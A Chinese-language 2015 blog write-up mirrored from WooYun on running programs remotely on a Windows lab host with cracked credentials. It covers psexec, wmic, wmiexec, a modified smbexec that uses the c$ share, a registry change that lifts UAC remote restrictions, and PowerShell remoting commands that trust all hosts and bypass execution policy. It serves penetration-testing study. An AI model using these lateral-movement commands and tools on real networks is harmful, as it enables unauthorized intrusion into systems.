作者:
三好學生
·
2015/07/24 17:41
0x00 前言
上一篇學習瞭如何匯出域內所有使用者hash,那麼,接下來準備用破解出的使用者名稱口令嘗試遠端登陸目標主機並執行程式,結合實際環境做了如下測試.
0x01 目標
遠端登陸目標主機執行測試程式
0x02 測試環境
遠端主機:
ip:192.168.40.137
使用者名稱:test
口令:testtest
作業系統:win7 x64
遠端登陸方式:
net use遠端登陸,不使用3389
Tips:
解決工作組環境無法遠端登陸執行程式的方法:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System add a new DWORD (32-bit) called “LocalAccountTokenFilterPolicy” and set it to 1
0x03 測試方法
1、at&schtasks
計劃任務方式執行程式。
條件:
啟動Task Scheduler服務
2、psexec
PsTools工具之一,在指定的一臺或多臺計算機上執行應用程式
條件:
需要開放ADMIN$共享
3、WMIC
功能強大,可做系統管理、遠端主機資訊獲取
條件:
啟動WMI服務,開放135埠
本地安全策略的“網路訪問: 本地帳戶的共享和安全模式”應設為“經典-本地使用者以自己的身份驗證”
4、wmiexec
使用VBS指令碼呼叫WMI來模擬psexec的功能,基本上psexec能用的地方,這個指令碼也能夠使用。
條件:
啟動WMI服務,開放135埠
本地安全策略的“網路訪問: 本地帳戶的共享和安全模式”應設為“經典-本地使用者以自己的身份驗證”
0x04 實際測試
使用使用者名稱口令遠端登陸192.168.40.137,如圖1
檢視目標主機共享資源,如圖1-2
1、at&schtasks
at \\192.168.40.137
找不到網路路徑,判斷是目標主機已禁用Task Scheduler服務
如圖2
2、psexec
PsExec.exe \\192.168.40.137 /accepteula -u test -p testtest -c c:\runtest\calc.exe
找不到網路名,判斷目標主機已禁用ADMIN$共享
如圖3
3、WMIC
wmic /node:192.168.40.137 /user:test /password:testtest process call create calc.exe
Description = 無法啟動服務,原因可能是已被禁用或與其相關聯的裝置沒有啟動,判斷WMI服務被禁用
如圖4
4、wmiexec
cscript.exe wmiexec.vbs /cmd 192.168.40.137 test testtest "ipconfig"
WMIEXEC ERROR: 無法啟動服務,原因可能是已被禁用或與其相關聯的裝置沒有啟動,判斷WMI服務被禁用
如圖5
0x05 分析
整理下目前掌握的目標主機資訊:
目標主機:
1、已獲得登陸使用者名稱及口令
2、可以net use連線
3、開放共享C
但是:
1、預設admin$共享關閉,無法使用psexec
2、Task scheduler關閉,無法使用at、schtasks
3、Windows Management Instrumentation服務關閉,關閉135埠無法使用wmic、wmiexec
4、不支援3389
那麼,如何在目標主機遠端執行程式?
猜測管理員應該是對常用的遠端執行程式的方法做了限制,就在一籌莫展的時候突然想到了smbexec
,它是基於psexec
,如果目標主機開放了其他預設共享,倒是可以嘗試smbexec
於是搜尋smbexec
,終於在GitHub上面找到了一個smbexec
的c++參考資料,作為工具改進模版
模版下載地址:
https://github.com/sunorr/smbexec
0x06 改進方案
模版中的bug不細講,最終我成功用vc6實現了psexec
的功能,同時也做了一些改進:
1、可指定預設共享名
為了完成上述測試,加入了引數來指定預設共享,如果ADMIN$
共享關閉,那麼可以嘗試其他磁碟的預設共享
2、分離安裝服務的功能
在實際測試過程中,如果ADMIN$
共享關閉,c$
共享開啟,因為UAC的緣故,註冊安裝服務的功能會出現bug,採取的解決辦法為將實現註冊安裝服務功能的exe單獨上傳至c:\windows
下, 即可解決許可權不夠的問題
0x07 方案測試
1、工具說明
檔案說明:
test.exe:主程式
execserver.exe:實現註冊安裝服務的輔助程式
引數說明:
test.exe ip user password command netshare
eg:
test.exe 192.168.40.137 test testtest whoami c$
2、使用流程
(1)上傳execserver.exe至c:\windows
copy execserver.exe \\192.168.40.137\c$\windows
(2)遠端執行
test.exe 192.168.40.137 test testtest whoami c$
如圖6
最終我們透過改造的smbexec,突破目標主機限制,成功遠端執行程式。
程式原始碼下載連結:
smbexec_source.zip
0x08 補充
1、powershell remoting
實現在目標主機遠端執行程式後,可對目標主機開放powershell remoting,用作遠端連線
條件:
遠端連線會有痕跡
本機要開啟winRM服務
命令彙總:
列出所有遠端信任主機
powershell Get-Item WSMan:\localhost\Client\TrustedHosts
設定信任所有主機
powershell Set-Item WSMan:\localhost\Client\TrustedHosts -Value * -Force
設定允許執行ps1檔案
powershell Set-ExecutionPolicy Unrestricted
執行test.ps1檔案
powershell -ExecutionPolicy Bypass -File test.ps1
ps1檔案如下:
$UserName = "test"
$serverpass = "testtest" $Password = ConvertTo-SecureString $serverpass -AsPlainText –Force $cred = New-Object System.Management.Automation.PSCredential($UserName,$Password)
invoke-command -ComputerName 192.168.40.137 -Credential $cred -ScriptBlock { ipconfig }
2、python smbexec
隨後用python寫的smbexec也實現了相同的功能,但py2exe的時候遇到了大麻煩,如果有更簡單的方法, 希望能得到你的幫助。
0x09 小結
這篇文章共列舉了六種遠端執行程式的方法,如果已經成功登陸目標主機,卻無法執行程式,最心塞的事情莫過於此。
at
psexec
WMIC
wmiexec
smbexec
powershell remoting
...
獲得使用者名稱口令,實現遠端執行程式僅僅是個開始,內網滲透會很有趣。
水平有限,歡迎補充。
本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!